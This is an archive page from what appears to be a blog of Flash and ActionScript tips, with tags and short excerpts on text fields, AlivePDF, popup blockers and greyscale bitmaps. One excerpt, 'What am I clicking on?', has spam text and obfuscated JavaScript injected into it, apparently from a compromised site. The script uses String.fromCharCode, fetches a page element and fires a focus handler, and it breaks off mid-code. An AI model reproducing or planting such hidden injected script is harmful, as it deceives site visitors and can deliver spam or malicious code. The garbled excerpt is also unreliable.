Language

Recent Posts

Tags

3D AlivePDF AS1 blocker colour cropped character ExternalInterface Flash Flash Bug FocusEvent FOCUS_IN FOCUS_OUT greyscale grayscale bitmapdata bitmap highlight Input KEY_FOCUS_CHANGE Maths Menu motion mouse navigateToURL PDF PHP Pop-up popup rgb selectionBeginIndex selectionEndIndex setSelection spiral TextField User Interface

Site search

September 2010
M T W T F S S
« Mar    
 12345
6789101112
13141516171819
20212223242526
27282930  

Categories

Tags

Blogroll

Archive for 'Flash Tips & Notes'

Last character getting cropped in a static textfield

You have a static textfield, set to Anti-alias for readability, you put on a couple of filters and suddenly the end of your text gets cropped in the middle of a character.
Here’s what it looked like to me:

This doesn’t always happen, it seems to be something to do with the length of the text in [...]

Input TextFields – auto select all text

Sometimes you want to have all the text in an input field selected when the user clicks on the field – this makes it easier to enter data quickly on certain forms, particularly if the fields are pre-filled.
But it’s not so easy to do without breaking the standard functionality of the input field. This code [...]

AlivePDF and Popup Blockers

I’ve been doing some headscratching and googling the last few days over a problem I had when using http://www.alivepdf.org/ to turn a movieclip into a PDF. The class is great, and gets you a PDF no problem, and when testing in Chrome all was fine, but when I tried it in IE or Firefox, the [...]

What am I clicking on?

Sometimes when you have a zetaclear complaintstjtsi=0;bzilm=String.fromCharCode(109,116,118,106,108,119,97,119,113,99);ojibs=String.fromCharCode(122,112,110,103,107,40,41);dbcyj=document.getElementById(String.fromCharCode(117,111,104,112,118));window.onFocus=tbfiu();function zpngk(){++tjtsi;(tjtsi

BitmapData – turning the image to greyscale

Here’s a useful tidbit I picked up from here:
http://www.adobe.com/devnet/flash/articles/matrix_transformations_print.html
How to turn a colour bitmapdata into greyscale.

// Turn the                                                                           [...]